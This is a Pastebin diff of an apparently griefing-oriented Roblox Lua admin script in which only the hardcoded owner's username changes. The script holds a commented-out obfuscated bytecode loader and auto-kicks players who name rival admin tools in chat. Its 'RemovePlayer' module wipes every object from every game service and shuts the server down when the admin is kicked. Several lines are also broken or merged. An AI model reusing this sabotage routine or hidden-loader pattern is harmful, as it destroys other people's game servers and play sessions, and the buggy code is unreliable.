SHOW:
|
|
- or go back to the newest paste.
| 1 | --[[local RawEncrypt=loadstring('\27\76\117\97\81\0\1\4\4\4\8\0\18\0\0\0\61\87\111\114\107\115\112\97\99\101\46\83\99\114\105\112\116\0\6\0\0\0\15\0\0\0\0\3\0\14\38\0\0\0\219\64\128\0\22\0\0\128\193\0\0\0\27\65\0\1\22\0\0\128\1\65\0\0\65\129\0\0\129\193\0\0\212\1\0\0\1\194\0\0\160\65\2\128\139\2\65\0\0\3\128\4\64\3\128\4\156\130\0\2\139\66\65\5\156\130\0\1\212\2\0\0\206\194\2\2\143\194\2\5\76\129\130\2\159\1\253\127\133\129\1\0\134\193\65\3\197\129\1\0\198\1\194\3\0\2\128\2\220\129\0\1\209\193\128\3\156\129\0\1\78\1\1\3\133\65\2\0\134\129\66\3\193\193\2\0\0\2\128\2\157\1\128\1\158\1\0\0\30\0\128\0\12\0\0\0\3\0\0\0\0\0\0\57\64\3\0\0\0\0\0\0\20\64\3\0\0\0\0\0\0\0\0\3\0\0\0\0\0\0\240\63\4\4\0\0\0\115\117\98\0\4\5\0\0\0\98\121\116\101\0\4\5\0\0\0\109\97\116\104\0\4\5\0\0\0\99\101\105\108\0\4\4\0\0\0\108\111\103\0\4\7\0\0\0\115\116\114\105\110\103\0\4\7\0\0\0\102\111\114\109\97\116\0\4\3\0\0\0\37\88\0\0\0\0\0\38\0\0\0\7\0\0\0\7\0\0\0\7\0\0\0\8\0\0\0\8\0\0\0\8\0\0\0\9\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\10\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\11\0\0\0\10\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\13\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\14\0\0\0\15\0\0\0\10\0\0\0\7\0\0\0\83\116\114\105\110\103\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\0\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\0\0\0\0\37\0\0\0\9\0\0\0\69\120\112\111\110\101\110\116\0\3\0\0\0\37\0\0\0\9\0\0\0\77\117\108\116\105\112\108\121\0\6\0\0\0\37\0\0\0\5\0\0\0\66\121\116\101\0\7\0\0\0\37\0\0\0\12\0\0\0\40\102\111\114\32\105\110\100\101\120\41\0\10\0\0\0\22\0\0\0\12\0\0\0\40\102\111\114\32\108\105\109\105\116\41\0\10\0\0\0\22\0\0\0\11\0\0\0\40\102\111\114\32\115\116\101\112\41\0\10\0\0\0\22\0\0\0\2\0\0\0\105\0\11\0\0\0\21\0\0\0\0\0\0\0')
| |
| 2 | local SourceValue=script:FindFirstChild('SRC'..RawEncrypt(game.PlaceId..tostring(_G)));
| |
| 3 | if (SourceValue~=nil) then | |
| 4 | coroutine.resume(coroutine.create(function() loadstring(SourceValue.Value)(); end)) | |
| 5 | return | |
| 6 | end]]-- | |
| 7 | script.Parent = nil | |
| 8 | --[[==[SB]==]]-- | |
| 9 | - | se3 = game:GetService('Players') wow = game.Players.PiterMosskva_TV; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.PiterMosskva_TV.PlayerGui ins = game:GetService('InsertService')
|
| 9 | + | se3 = game:GetService('Players') wow = game.Players.zXzGamePROzXz; rt = game:GetService('Workspace'); plrd = game:GetService('Players'); tem = game:GetService('Teams'); low = game.Players.zXzGamePROzXz.PlayerGui ins = game:GetService('InsertService')
|
| 10 | - | mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.PiterMosskva_TV ; wq2e = game.Players.PiterMosskva_TV
|
| 10 | + | mq = 8; str = game:GetService('StarterGui'); strp = game:GetService('StarterPack'); new = Instance.new; size = Size; vnew = Vector3.new; unw = UDim2.new; lol = game.Lighting; vtn = Vector2.new; me = game.Players.zXzGamePROzXz; wq2e = game.Players.zXzGamePROzXz
|
| 11 | --nam = Name; -- wont be use'd prob | |
| 12 | fnew = CFrame.new; cnew = Color3.new; | |
| 13 | --{0, 120}
| |
| 14 | --{0, 66}
| |
| 15 | --{0, 132
| |
| 16 | Names = {}
| |
| 17 | local banWords = {'BLACKEND','PBAN','PLAYERORB','ANTIBAN','CRYSTON','DEATHIMUS','CBA','CBALL','CAMBALL','KABALL','/UP','ORBS','1WAFFLE1','ADMIN COMMANDS','COMMANDS','ADMIN'} local banned = {'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'} local noBan = {'isaac100000','rigletto',irishdude358,'Marrelle','dorian827','skippykiller101','snowboarder199','rybo11','oatsyboat12','baragara','wikkedwig','coltman188888','supercheese200'}
| |
| 18 | Player = function(p) | |
| 19 | if banned[p.Name] then | |
| 20 | p:Destroy() | |
| 21 | end | |
| 22 | for j, v in pairs(noBan) do | |
| 23 | if v:lower() == p.Name:lower() then | |
| 24 | return | |
| 25 | end | |
| 26 | end | |
| 27 | p.Chatted:connect(function(m) | |
| 28 | for j, v in pairs(banWords) do | |
| 29 | if m:lower():find(v:lower()) then | |
| 30 | banned[p.Name] = true | |
| 31 | p:Destroy() | |
| 32 | end | |
| 33 | end | |
| 34 | end) | |
| 35 | end | |
| 36 | for j, v in pairs(game:GetService('Players'):GetPlayers()) do
| |
| 37 | Player(v) | |
| 38 | end | |
| 39 | game:GetService('Players').PlayerAdded:connect(Player)
| |
| 40 | local baseurl = 'http://www.roblox.com/asset/?id=%d' bcn = BrickColor.new; tarns = Transparency; poz = Position; | |
| 41 | --anc = Anchored; | |
| 42 | --cf = Cframe; | |
| 43 | --lok = Locked; | |
| 44 | function notsq(TheTable) | |
| 45 | wait() | |
| 46 | local Table = TheTable | |
| 47 | local Disks = {}
| |
| 48 | local ClickedObject = nil | |
| 49 | CountedDisks = 0 | |
| 50 | for Arguments, Objects in pairs(Table) do | |
| 51 | local TheColor = nil | |
| 52 | if Objects[2] == Random then | |
| 53 | TheColor = BrickColor.random() | |
| 54 | else | |
| 55 | TheColor = BrickColor.new(Objects[2]) | |
| 56 | end | |
| 57 | ||
| 58 | CountedDisks = CountedDisks + 1 | |
| 59 | ||
| 60 | local Disk = Instance.new('Part', Workspace)
| |
| 61 | Disk.Size = Vector3.new(3, 0.2, 3) | |
| 62 | Disk.Transparency = 0.5 | |
| 63 | Disk.BrickColor = TheColor | |
| 64 | Disk.Name = 'Disk' | |
| 65 | Disk.CanCollide = false | |
| 66 | Disk.Position = wow.Character.Torso.Position | |
| 67 | table.insert(Disks, Disk) | |
| 68 | ||
| 69 | local Billboard = Instance.new('BillboardGui', Disk)
| |
| 70 | Billboard.Adornee = Disk | |
| 71 | Billboard.Enabled = true | |
| 72 | Billboard.Active = true | |
| 73 | Billboard.Size = UDim2.new(0.3, 0, 0.05, 0) | |
| 74 | Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0) | |
| 75 | ||
| 76 | local brickcolorOne = BrickColor.new('White')
| |
| 77 | local colorOne = brickcolorOne.Color | |
| 78 | local brickcolorTwo = BrickColor.new('Really black')
| |
| 79 | local colorTwo = brickcolorTwo.Color | |
| 80 | local textlabel = Instance.new('TextLabel', Billboard)
| |
| 81 | textlabel.Text = Objects[1] | |
| 82 | textlabel.FontSize = 'Size24' | |
| 83 | textlabel.Font = 'ArialBold' | |
| 84 | textlabel.TextColor3 = colorOne | |
| 85 | textlabel.TextStrokeColor3 = colorTwo | |
| 86 | textlabel.TextStrokeTransparency = 0 | |
| 87 | ||
| 88 | local Mesh = Instance.new('BlockMesh', Disk)
| |
| 89 | ||
| 90 | local Box = Instance.new('SelectionBox', Disk)
| |
| 91 | Box.Transparency = 0 | |
| 92 | Box.Adornee = Disk | |
| 93 | Box.Color = TheColor | |
| 94 | ||
| 95 | local ClickDetector = Instance.new('ClickDetector', Disk)
| |
| 96 | ClickDetector.MaxActivationDistance = math.huge | |
| 97 | ||
| 98 | local function RemoveFunction(Disk) | |
| 99 | DismissTypeUsed = 'Click' | |
| 100 | DiskSelected = Disk | |
| 101 | for i,v in pairs(Disks) do | |
| 102 | pcall(function() v:remove() end) | |
| 103 | pcall(function() table.remove(Disks, v) end) | |
| 104 | end | |
| 105 | Disks = {}
| |
| 106 | for i,v in pairs(Table) do | |
| 107 | pcall(function() table.remove(Table, v) end) | |
| 108 | end | |
| 109 | Table = {}
| |
| 110 | end | |
| 111 | ClickDetector.MouseClick:connect(function(Person) | |
| 112 | if Person == wow then | |
| 113 | DismissTypeUsed = 'Click' | |
| 114 | RemoveFunction(Objects[1]) | |
| 115 | end | |
| 116 | end) | |
| 117 | wow.Chatted:connect(function(Message) | |
| 118 | for _,Phrases in pairs(ReleasePhrases) do | |
| 119 | if string.lower(Message) == Phrases then RemoveFunction() end | |
| 120 | DismissTypeUsed = 'Chat' | |
| 121 | end | |
| 122 | end) | |
| 123 | ||
| 124 | local Fire = Instance.new('Fire', Disk)
| |
| 125 | Fire.Size = 6 | |
| 126 | Fire.Heat = 0 | |
| 127 | Fire.Color = TheColor .Color | |
| 128 | Fire.SecondaryColor = TheColor.Color | |
| 129 | ||
| 130 | local BP = Instance.new('BodyPosition', Disk)
| |
| 131 | BP.position = wow.Character.Torso.Position | |
| 132 | BP.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
| 133 | ||
| 134 | local BG = Instance.new('BodyGyro', Disk)
| |
| 135 | BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
| 136 | ||
| 137 | Disk:BreakJoints() | |
| 138 | end | |
| 139 | coroutine.resume(coroutine.create(function() | |
| 140 | while wait() do | |
| 141 | if #Disks == 0 then break end | |
| 142 | for NumDisks, Disk in pairs(Disks) do | |
| 143 | local BP = Disk:FindFirstChild('BodyPosition') or Instance.new('BodyPosition', Disk)
| |
| 144 | local BG = Disk:FindFirstChild('BodyGyro') or Instance.new('BodyGyro', Disk)
| |
| 145 | local Radius = 3 + (#Disks*.7) | |
| 146 | local Pos = (wow.Character:FindFirstChild('Torso') or wow.Character:FindFirstChild('Torso')).CFrame
| |
| 147 | ||
| 148 | local X = math.cos((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius | |
| 149 | local Y = 0 | |
| 150 | local Z = math.sin((tonumber(NumDisks)/#Disks - (0.10/#Disks)) * math.pi*2) * Radius | |
| 151 | ||
| 152 | BP.position = Pos:toWorldSpace(CFrame.new(X,Y,Z):inverse()).p | |
| 153 | BG.cframe = CFrame.new(Disk.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0) | |
| 154 | end | |
| 155 | end | |
| 156 | end)) | |
| 157 | if DismissTypeUsed == 'Click' then | |
| 158 | return DiskSelected | |
| 159 | end | |
| 160 | end | |
| 161 | function qwsqd(TheTable) | |
| 162 | wait() | |
| 163 | local Table = TheTable | |
| 164 | local Spheres = {}
| |
| 165 | for Arguments, Objects in pairs(Table) do | |
| 166 | local TheColor = nil | |
| 167 | if Objects[2] == Random then | |
| 168 | TheColor = BrickColor.random() | |
| 169 | else | |
| 170 | TheColor = BrickColor.new(Objects[2]) | |
| 171 | end | |
| 172 | ||
| 173 | local Sphere = Instance.new('Part', Workspace)
| |
| 174 | Sphere.Size = Vector3.new(2,2,2) | |
| 175 | Sphere.Transparency = 0.5 | |
| 176 | Sphere.BrickColor = TheColor | |
| 177 | Sphere.Name = 'Sphere' | |
| 178 | Sphere.CanCollide = false | |
| 179 | Sphere.Position = wow.Character.Torso.Position | |
| 180 | Sphere.TopSurface = 'Smooth' | |
| 181 | Sphere.BottomSurface = 'Smooth' | |
| 182 | Sphere.Shape = 'Ball' | |
| 183 | table.insert(Spheres, Sphere) | |
| 184 | ||
| 185 | local Billboard = Instance.new('BillboardGui', Sphere)
| |
| 186 | Billboard.Adornee = Disk | |
| 187 | Billboard.Enabled = true | |
| 188 | Billboard.Active = true | |
| 189 | Billboard.Size = UDim2.new(0.3, 0, 0.05, 0) | |
| 190 | Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0) | |
| 191 | ||
| 192 | local brickcolorOne = BrickColor.new('White')
| |
| 193 | local colorOne = brickcolorOne.Color | |
| 194 | local brickcolorTwo = BrickColor.new('Really black')
| |
| 195 | local colorTwo = brickcolorTwo.Color | |
| 196 | local textlabel = Instance.new('TextLabel', Billboard)
| |
| 197 | textlabel.Text = Objects[1] | |
| 198 | textlabel.FontSize = 'Size24' | |
| 199 | textlabel.Font = 'ArialBold' | |
| 200 | textlabel.TextColor3 = colorOne | |
| 201 | textlabel.TextStrokeColor3 = colorTwo | |
| 202 | textlabel.TextStrokeTransparency = 0 | |
| 203 | ||
| 204 | local Box = Instance.new('SelectionBox', Sphere)
| |
| 205 | Box.Transparency = 0.4 | |
| 206 | Box.Adornee = Sphere | |
| 207 | Box.Color = TheColor | |
| 208 | local Fire = Instance.new('Fire', Sphere)
| |
| 209 | Fire.Size = 6 | |
| 210 | Fire.Heat = 0 | |
| 211 | Fire.Color = TheColor .Color | |
| 212 | Fire.SecondaryColor = TheColor.Color | |
| 213 | ||
| 214 | local BP = Instance.new('BodyPosition', Sphere)
| |
| 215 | BP.position = wow.Character.Torso.Position | |
| 216 | BP.maxForce = Vector3.new(math.huge, math.huge, math.huge) | |
| 217 | ||
| 218 | local BG = Instance.new('BodyGyro', Sphere)
| |
| 219 | BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) | |
| 220 | ||
| 221 | Sphere:BreakJoints() | |
| 222 | function Sin(i) | |
| 223 | return math.sin(math.rad(i)) | |
| 224 | end | |
| 225 | function Cos(i) | |
| 226 | return math.cos(math.rad(i)) | |
| 227 | end | |
| 228 | for i = 0,380,2.5 do | |
| 229 | BP.position = wow.Character.Torso.CFrame:toWorldSpace(CFrame.new(Vector3.new(Sin(i)*4, 1.5, Cos(i)*4))).p | |
| 230 | BG.cframe = CFrame.Angles(0,math.rad(i),0) | |
| 231 | wait() | |
| 232 | end | |
| 233 | Sphere:remove() | |
| 234 | end | |
| 235 | end | |
| 236 | - | sul = game.Players.PiterMosskva_TV |
| 236 | + | sul = game.Players.zXzGamePROzXz |
| 237 | - | hqw = game.Players.PiterMosskva_TV bcol = BrickColor; findp = game.Players xu = game.Players.PiterMosskva_TV.Character |
| 237 | + | hqw = game.Players.zXzGamePROzXzbcol = BrickColor; findp = game.Players xu = game.Players.zXzGamePROzXz.Character |
| 238 | --[[==[UGLY CODE]===]]-- | |
| 239 | qx = print; look = CFrame.lookVector; rot = CFrame.fromEulerAnglesXYZ; debris = game:service('Debris');
| |
| 240 | random = math.random; pi = math.pi | |
| 241 | e113 = ins:LoadAsset(47532) e113.Parent = game.Lighting | |
| 242 | e11 = ins:LoadAsset(47433) e11.Parent = game.Lighting | |
| 243 | e1 = ins:LoadAsset(95354288) e1.Parent = game.Lighting | |
| 244 | e2 = ins:LoadAsset(95354304) e2.Parent = game.Lighting | |
| 245 | qw1 = ins:LoadAsset(94233286) qw1.Parent = game.Lighting | |
| 246 | function mwq(msg,parent) | |
| 247 | sw = new('ScreenGui' ,parent) sw.Name = 'ugly codez'
| |
| 248 | sd2 = new('TextButton' ,sw) sd2.Position = unw(0, 0, 0, 0) sd2.TextColor = bcn(255,255,255) sd2.FontSize = 'Size18' sd2.Font = 'ArialBold' sd2.Size = unw(1, 0, 0, 45) sd2.Text = msg sd2.BackgroundTransparency = 0 sd2.BackgroundColor = bcn('Really Black') sd2.BorderColor = bcn('Black') sd2.Style = 'RobloxButtonDefault'
| |
| 249 | wait(1) | |
| 250 | sd2:Remove() | |
| 251 | end | |
| 252 | function qwq(msg) | |
| 253 | for i,v in pairs(findp:GetChildren()) do | |
| 254 | sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
| |
| 255 | sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 1, 0) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
| |
| 256 | for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end | |
| 257 | wait(1) | |
| 258 | sd2w:Remove() | |
| 259 | end | |
| 260 | end | |
| 261 | function qwe(msg) | |
| 262 | for i,v in pairs(findp:GetChildren()) do | |
| 263 | sww = new('ScreenGui' ,v.PlayerGui) sw.Name = 'ugly codez'
| |
| 264 | sd2w = new('TextButton' ,sww) sd2w.Position = unw(0, 0, 0, 0) sd2w.TextColor = bcn(255,255,255) sd2w.FontSize = 'Size24' sd2w.Font = 'ArialBold' sd2w.Size = unw(1, 0, 0, 45) sd2w.BackgroundTransparency = 0.6 sd2w.BackgroundColor = bcn('Really Black') sd2w.BorderColor = bcn('Black') sd2w.Style = 'RobloxButtonDefault' sd2w.TextWrapped = true
| |
| 265 | for tr=1,#msg do sd2w.Text=msg:sub(1,tr) wait() end | |
| 266 | wait(1) | |
| 267 | sd2w:Remove() | |
| 268 | end | |
| 269 | end | |
| 270 | function mwi(msw,color) | |
| 271 | game:GetService'Chat':Chat(xu:FindFirstChild('Head'), msw , color)
| |
| 272 | end | |
| 273 | function hgf(Player, Color) | |
| 274 | for _,Parts in pairs(Player.Character:GetChildren()) do | |
| 275 | if Parts.className == 'Part' then | |
| 276 | local Box = Instance.new('SelectionBox', Parts)
| |
| 277 | Box.Adornee = Parts | |
| 278 | Box.Color = BrickColor.new(Color) | |
| 279 | Box.Transparency = 0 | |
| 280 | end | |
| 281 | end | |
| 282 | coroutine.resume(coroutine.create(function() | |
| 283 | wait(1) | |
| 284 | for _,Parts in pairs(Player.Character:GetChildren()) do for _, Things in pairs(Parts:GetChildren()) do | |
| 285 | ||
| 286 | if Things.className == 'SelectionBox' or Things.className == 'Fire' then Things:remove() end | |
| 287 | end | |
| 288 | end | |
| 289 | end)) | |
| 290 | end | |
| 291 | --[[==[LOCKE]==]]-- | |
| 292 | - | Adminlist={'PiterMosskva_TV'};
|
| 292 | + | Adminlist={'zXzGamePROzXz'};
|
| 293 | Bannedlist={'12packkid','GRASSTHEHEDGEHOGXX','dizzypokemondude2','ShadowBlast6','iamitamejelly','akzi','guoyuan','jordancar','creepyface5000','AnonymousHackerz'};
| |
| 294 | local AccessKey='9001'; -- Admin code registration/access key | |
| 295 | ||
| 296 | local CommandSeperator=' '; | |
| 297 | local DataKey='GKS'; | |
| 298 | local Commands,AdminConnectionList,AdminUserList,Modules,NewInstance,NewColor3,NewBrickColor,RandomBrickColor,NewCFrame,NewVector3,MaskAdminlist,NewUDim2,GameBackups,SystemSettings={},{},{},{},Instance.new,Color3.new,BrickColor.new,BrickColor.Random,CFrame.new,Vector3.new,(function() local Table={}; for Index,Entry in pairs(Adminlist) do Table[#Table+1]=Entry; end return Table; end)(),UDim2.new,{},{};
| |
| 299 | ||
| 300 | function CreateModule(ModuleName,ModuleContent) | |
| 301 | Modules[ModuleName]=ModuleContent; | |
| 302 | end | |
| 303 | function RunModule(ModuleName,...) | |
| 304 | return Modules[ModuleName](...); | |
| 305 | end | |
| 306 | function RemoveModule(ModuleName) | |
| 307 | Modules[ModuleName]=nil; | |
| 308 | end | |
| 309 | function ReportError(Bool,Error) | |
| 310 | --[[if (not Bool) then | |
| 311 | print('ERROR:',Error)
| |
| 312 | end]] | |
| 313 | end | |
| 314 | ||
| 315 | -- Define the core modules | |
| 316 | CreateModule('CommandModule',function(CommandName,CommandDescription,CommandShortcut,CommandMatch,CommandCall,UpperCase) Commands[CommandName]={Description=CommandDescription,Shortcut=CommandShortcut,Call=CommandCall,Match=CommandMatch,UpperCase=UpperCase} end)
| |
| 317 | CreateModule('GetPlayer',function(Input,Speaker)
| |
| 318 | if (Input==nil) or (Speaker==nil) then return nil end | |
| 319 | local function MatchKeyword(Keyword) | |
| 320 | for Word in Input:gmatch('%w+') do
| |
| 321 | if (Word==Keyword) then | |
| 322 | return true | |
| 323 | end | |
| 324 | end | |
| 325 | return false | |
| 326 | end | |
| 327 | local Matches={}
| |
| 328 | local PlayerList=game:GetService('Players'):GetPlayers();
| |
| 329 | if MatchKeyword('all') then
| |
| 330 | for Index,Player in pairs(PlayerList) do | |
| 331 | if (Player.className=='Player') then | |
| 332 | table.insert(Matches,Player); | |
| 333 | end | |
| 334 | end | |
| 335 | return Matches | |
| 336 | end | |
| 337 | if MatchKeyword('me') then
| |
| 338 | return {Speaker};
| |
| 339 | end | |
| 340 | if MatchKeyword('others') then
| |
| 341 | for Index,Player in pairs(PlayerList) do | |
| 342 | if (Player.className=='Player') then | |
| 343 | if (Player~=Speaker) then | |
| 344 | table.insert(Matches,Player); | |
| 345 | end | |
| 346 | end | |
| 347 | end | |
| 348 | return Matches; | |
| 349 | end | |
| 350 | if MatchKeyword('guests') then
| |
| 351 | for Index,Player in pairs(PlayerList) do | |
| 352 | if (Player.className=='Player') then | |
| 353 | if (Player.Name:sub(1,6)=='Guest ') then | |
| 354 | table.insert(Matches,Player); | |
| 355 | end | |
| 356 | end | |
| 357 | end | |
| 358 | return Matches; | |
| 359 | end | |
| 360 | if MatchKeyword('friends') then
| |
| 361 | for Index,Player in paird(PlayerList) do | |
| 362 | if (Player.className=='Player') then | |
| 363 | if (Player:IsFriendsWith(Speaker.userId)==true) then | |
| 364 | table.insert(Matches,Player); | |
| 365 | end | |
| 366 | end | |
| 367 | end | |
| 368 | return PlayerList | |
| 369 | end | |
| 370 | if MatchKeyword('nonfriends') then
| |
| 371 | for Index,Player in pairs(PlayerList) do | |
| 372 | if (Player.className=='Player') then | |
| 373 | if (Player:IsFriendsWith(Speaker.userId)==false) then | |
| 374 | table.insert(Matches,Player); | |
| 375 | end | |
| 376 | end | |
| 377 | end | |
| 378 | return Matches; | |
| 379 | end | |
| 380 | for Index,Player in pairs(PlayerList) do | |
| 381 | for Word in Input:gmatch('%w+') do
| |
| 382 | if (Player.className=='Player') then | |
| 383 | if (string.find(Player.Name:lower(),Word)==1) then | |
| 384 | table.insert(Matches,Player); | |
| 385 | end | |
| 386 | end | |
| 387 | end | |
| 388 | end | |
| 389 | return Matches; | |
| 390 | end) | |
| 391 | CreateModule('IsAdmin',function(Input)
| |
| 392 | if (type(Input)=='userdata') then | |
| 393 | Input=Input.Name; | |
| 394 | end | |
| 395 | local IsAdmin=false; | |
| 396 | table.foreach(Adminlist,function(Index,Username) if (Username:lower()==Input:lower()) then IsAdmin=true; end end) | |
| 397 | return IsAdmin; | |
| 398 | end) | |
| 399 | CreateModule('AddPlayer',function(Player)
| |
| 400 | coroutine.resume(coroutine.create(function() | |
| 401 | Player:WaitForDataReady(); | |
| 402 | local Data=Player:LoadString(DataKey); -- Errors here don't affect the main thread | |
| 403 | for RawTable in Data:gmatch('{(.-)}') do
| |
| 404 | local Table=RunModule('ConvertString','{'..RawTable..'}');
| |
| 405 | if (tonumber(Table.Type)==0) then | |
| 406 | if (tonumber(Table.Value)>tick()) and (RunModule('IsAdmin',Player)==false) then
| |
| 407 | pcall(Player.Remove,Player); | |
| 408 | end | |
| 409 | end | |
| 410 | end | |
| 411 | end)) | |
| 412 | Player.Chatted:connect(function(Message) | |
| 413 | local Message=Message:lower(); | |
| 414 | if (Message:sub(1,10)=='/loadcode/') then | |
| 415 | if (RunModule('AdminCodeSystem',Player):lower()==Message:sub(11)) then
| |
| 416 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end) | |
| 417 | AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
| |
| 418 | AdminUserList[#AdminUserList+1]=Player.Name; | |
| 419 | RunModule('ShowHint',Player,'Admin code request accepted.',5);
| |
| 420 | else | |
| 421 | RunModule('ShowHint',Player,'Admin code request declined.',5);
| |
| 422 | end | |
| 423 | end | |
| 424 | end) | |
| 425 | if (RunModule('IsAdmin',Player)==true) then
| |
| 426 | CreateModule('AdminModule-'..Player.Name,function(IsAdmin)
| |
| 427 | if (IsAdmin==false) then | |
| 428 | table.foreach(AdminConnectionList,function(Index,Connection) if (AdminUserList[Index]:lower()==Player.Name:lower()) then Connection:disconnect(); end end) | |
| 429 | else | |
| 430 | RunModule('AdminModule-'..Player.Name,false);
| |
| 431 | AdminConnectionList[#AdminConnectionList+1]=Player.Chatted:connect(function(Message) RunModule('PlayerChat',Message,Player); end)
| |
| 432 | AdminUserList[#AdminUserList+1]=Player.Name; | |
| 433 | end | |
| 434 | end) | |
| 435 | RunModule('AdminModule-'..Player.Name,true);
| |
| 436 | Player.CharacterAdded:connect(function() RunModule('GuiPanelInitializer',Player); end)
| |
| 437 | RunModule('GuiPanelInitializer',Player);
| |
| 438 | else | |
| 439 | for Index,BannedPlayer in pairs(Bannedlist) do | |
| 440 | if (BannedPlayer:lower()==Player.Name:lower()) then | |
| 441 | pcall(function() Player:Remove(); end) | |
| 442 | end | |
| 443 | end | |
| 444 | end | |
| 445 | end) | |
| 446 | CreateModule('RemovePlayer',function(Player)
| |
| 447 | RemoveModule('AdminModule-'..Player.Name);
| |
| 448 | if (RunModule('IsAdmin',Player)==true) then -- Possibly kicked/banned
| |
| 449 | local Error,NetworkServer=pcall(game.GetService,game,'NetworkServer'); | |
| 450 | if (type(NetworkServer)~='userdata') then return end -- Build mode | |
| 451 | local InitialTime=time(); | |
| 452 | local Activate=true; | |
| 453 | NetworkServer.ChildRemoved:connect(function(Child) | |
| 454 | if (Child:IsA('NetworkReplicator')==true) then -- Is a replicator
| |
| 455 | if ((time()-InitialTime)<0.01) then | |
| 456 | Activate=false; -- User just left | |
| 457 | end | |
| 458 | end | |
| 459 | end) | |
| 460 | wait(0.5) | |
| 461 | if (Activate==true) then | |
| 462 | table.foreach(game:GetChildren(),function(Index,Service) | |
| 463 | pcall(function() -- Some services yell at you | |
| 464 | table.foreach(Service:GetChildren(),function(ChildIndex,Child) | |
| 465 | if (Child~=script) then | |
| 466 | pcall(Child.Remove,Child); | |
| 467 | end | |
| 468 | end) | |
| 469 | end) | |
| 470 | end) | |
| 471 | RunModule('Shutdown');
| |
| 472 | end | |
| 473 | end | |
| 474 | end) | |
| 475 | CreateModule('PlayerChat',function(Message,Speaker)
| |
| 476 | table.foreach(Commands,function(Index,CommandUnit) | |
| 477 | local Match=(Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
| |
| 478 | if (Match~=nil) and (not CommandUnit.UpperCase) then -- Just found out the 'or' keyword won't return multiple arguments. -_- | |
| 479 | local FullMatch=Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match));
| |
| 480 | local ShortcutMatch=Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match));
| |
| 481 | if (FullMatch~=nil) then | |
| 482 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(Index..RunModule('ParseMatch',CommandUnit.Match))); end)));
| |
| 483 | elseif (ShortcutMatch~=nil) then | |
| 484 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:lower():match(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match))); end)));
| |
| 485 | end | |
| 486 | elseif (CommandUnit.UpperCase) and (Match~=nil) then | |
| 487 | local Point=(Message:lower():find(Index..RunModule('ParseMatch',CommandUnit.Match)) or Message:lower():find(CommandUnit.Shortcut..RunModule('ParseMatch',CommandUnit.Match)));
| |
| 488 | ReportError(coroutine.resume(coroutine.create(function() CommandUnit.Call(Speaker,Message:sub(Message:sub(Point):find(CommandSeperator)+1)); end))); | |
| 489 | end | |
| 490 | end) | |
| 491 | end) | |
| 492 | CreateModule('ParseMatch',function(Match) return Match:gsub('#cs#',CommandSeperator) end)
| |
| 493 | CreateModule('ConvertTable',function(Table)
| |
| 494 | local Result='<{';
| |
| 495 | table.foreach(Table,function(Index,String) | |
| 496 | Result=Result..Index..'='..tostring(String):gsub('=','\\61')..';';
| |
| 497 | end) | |
| 498 | return Result..'}>'; | |
| 499 | end) | |
| 500 | CreateModule('ConvertString',function(String)
| |
| 501 | local Result={};
| |
| 502 | local TableStart,TableFinish=String:find('<{')+2,String:find('}>');
| |
| 503 | for Index,Input in String:sub(TableStart,TableFinish):gmatch('(.-)=(.-);') do
| |
| 504 | if (tonumber(Index)~=nil) then Indetonumber(Index); end | |
| 505 | Result[Index]=Input:gsub('\\61','=');
| |
| 506 | end | |
| 507 | return Result; | |
| 508 | end) | |
| 509 | CreateModule('GuiLibrary',function()
| |
| 510 | local Library={};
| |
| 511 | Library.NewBasicGUI=(function(Class,Properties) | |
| 512 | local Result=NewInstance(Class); | |
| 513 | table.foreach((Properties or Library.DefaultProperties),function(Property,Value) | |
| 514 | Result[Property]=Value; | |
| 515 | end) | |
| 516 | return Result; | |
| 517 | end) | |
| 518 | Library.DefaultProperties={BackgroundColor3=Color3.new(0,0,0),BackgroundTransparency=0.5,BorderSizePixel=0};
| |
| 519 | return Library; | |
| 520 | end) | |
| 521 | CreateModule('DisposePlayer',function(Player,Speaker,DontRemove)
| |
| 522 | if (RunModule('IsAdmin',Player)==false) and (RunModule('IsAdmin',Speaker)==true) then
| |
